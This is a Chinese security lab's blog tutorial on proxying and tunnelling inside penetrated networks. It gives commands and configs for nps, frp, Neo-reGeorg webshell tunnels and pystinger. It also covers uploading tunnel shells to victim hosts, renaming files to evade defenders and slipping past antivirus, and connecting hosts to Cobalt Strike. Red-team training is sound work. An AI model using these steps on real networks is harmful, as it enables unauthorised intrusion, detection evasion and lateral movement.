咨詢服務熱線
400-6446-808
創安實驗室專欄
您的當前位置:首頁 > 創安實驗室專欄
✦+
+
内網滲透-代理轉發筆記
在内網滲透中(zhōng)，分(fēn)爲出網和不出網，不出網的意思是目标應用服務器與互聯網網絡不可達，采用代理服務或映射web端口用于在互聯網上的交互。
●
https://github.com/ehang-io/nps/releases
準備工(gōng)作：一(yī)台雲vps，作爲nps服務端
●
./nps install //安裝沒有權限的話(huà)，chmod 777 nps
●
安裝完成後，會在/etc/nps/conf目錄生(shēng)成如下(xià)配置文件，進行配置修改，修改默認賬戶密碼，防止被攻擊利用。
/etc/nps/conf/nps.conf
●
會啓動一(yī)個web服務，用配置好的端口，賬戶密碼訪問。
./nps start //運行服務端，停止./nps stop
●
配置壓縮和加密，減少被攻擊危險
添加後，可查看到客戶端配置命令
●
./npc -server=47.XX.XX.xxx:8024 -vkey=hmqha8eove21cevu -type=tcp //linux npc.exe -server=47.XX.xX.xxx:8024 -vkey=hmqha8eove21cevu -type=tcp
//windows
運行成功後（注意：低版本npc，修改爲npc1，360不攔截，火(huǒ)絨會提示安裝攔截）
客戶端顯示在線，說明可以進行代理了
●
在滲透中(zhōng)常用tcp端口轉發來訪問内網主機，用socks5進行訪問内網web服務等。
TCP
socks5
使用proxifier或浏覽器代理插件，帶入内網訪問内部web
FRP（Fast Reverse Proxy）是一(yī)款簡單，好用，穩定的隧道工(gōng)具。FRP 使用Go語言開(kāi)發，它是一(yī)款高性能的反向代理應用，可以輕松地進行内網穿透，對外(wài)網提供服務。FRP 支持TCP、UDP、KCP、HTTP、HTTPS等協議類型，并且支持Web服務根據域名進行路由轉發。在進行内網滲透中(zhōng)，FRP是常用的一(yī)款隧道工(gōng)具。
●
https://github.com/fatedier/frp/releases/tag/v0.46.1
●
同時上傳修改好的配置文件frps.ini到自己的VPS，如下(xià)進行運行
./frps -c frps.ini
[common]
bind_addr = 0.0.0.0 #綁定的ip，爲本機
bind_port = 17000 #綁定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口，可視化控制台，http訪問
dashboard_user = root #管理的用戶名
dashboard_pwd = 1wsdfeew3!@1$# #管理用戶的密碼，盡量複雜(zá)一(yī)點，安全
token = 1q2w3e #客戶端服務端連接的密碼
heartbeat_timeout = 90 #心跳超時時間
max_pool_count = 5 #最大(dà)同時連接數
●
在獲取到shell時，修改文件名稱後再上傳，防止被藍(lán)隊發現。
常用端口映射和socks代理
frpc.exe -c frpc.ini
[common]
server_addr = 100.20.14.14
server_port = 17000 #服務器綁定的端口，和服務端bind_port對應
token = 1q2w3e #連接的密碼，和服務端對應
pool_count = 5
protocol = tcp #協議類型
health_check_type = tcp
health_check_interval_s = 100
#socks代理
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的協議
use_encryption = true #是否加密
use_compression = true
#端口映射
[test]
type=tcp
local_ip = 127.0.0.1 #本地ip地址
local_port = 3389 #要映射的本地端口
remote_port = 3389 #要映射的服務端端口
連接socks5代理端口10000，進行檢查是否成功
Neo-reGeorg 是一(yī)個旨在積極重構 reGeorg 的項目，目的是：
● 提高可用性，避免特征檢測
● 提高 tunnel 連接安全性
● 提高傳輸内容保密性
● 應對更多的網絡環境場景下(xià)使用
1、生(shēng)成隧道馬，将隧道馬上傳至服務器web目錄
python neoreg.py generate -k password
2、使用 neoreg.py 連接WEB服務器，在本地建立socks5代理
python3 neoreg.py -k password -u http://xx/tunnel.php
3、socks5客戶端連接，默認127.0.0.1:1080
毒刺(pystinger)通過webshell實現内網SOCK4正向代理,端口映射.
可直接用于metasploit-framework,viper,cobalt strike上線.
主體(tǐ)使用python開(kāi)發,當前支持php,jsp(x),aspx三種代理腳本.
https://github.com/FunnyWolf/pystinger
1、将隧道shell，服務端上傳至受害機
start stinger_server.exe 0.0.0.0 #注：必須設置爲0.0.0.0，否則無法成功！
2、運行客戶端
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 #隻需替換-w的參數url
3、上線CS機器
在對不出網段中(zhōng)的其他内網主機進行橫向移動上線時，可執行完以上操作後在CobaltStrike創建一(yī)個Listener，HTTP Hosts填192.168.59.133（即受害機内網IP），HTTP Port填60020
socks代理的端口不是開(kāi)在遠程服務器上的，是開(kāi)在本地的，利用socks客戶端直接連接本地IP的代理端口即可，冰蠍會把本地端口的流量通過http隧道透傳至遠程服務器網絡。
内網穿透功能，配置socks隧道，本地IP、端口代理。
E·N·D
本文由創信華通創安實驗室編輯。
本文僅限于個人學習和技術研究，由于傳播、利用此文所提供的信息而造成刑事案件、非授權攻擊等違法行爲，均由使用者本人負責，本單位不爲此承擔任何責任。創安攻防實驗室擁有對此文章的修改和解釋權，如欲轉載或傳播此文章，必須保證此文章的完整性，包括版權聲明等全部内容。
如有侵權，請聯系後台。
●
創安實驗室
創信華通創安實驗室，是天慕卓越（深圳）網絡科技有限公司旗下(xià)的技術研究團隊，成立于2021年9月，主要研究紅藍(lán)對抗、重大(dà)安全保障、應急響應等方向。
創安攻防實驗室圓滿完成了多次公安舉辦的重要網絡安全保障和攻防演習活動，并積極參加各類網絡安全競賽，屢獲殊榮。
創安攻防實驗室秉承創信華通的發展理念，緻力打造國内一(yī)流網絡安全團隊。
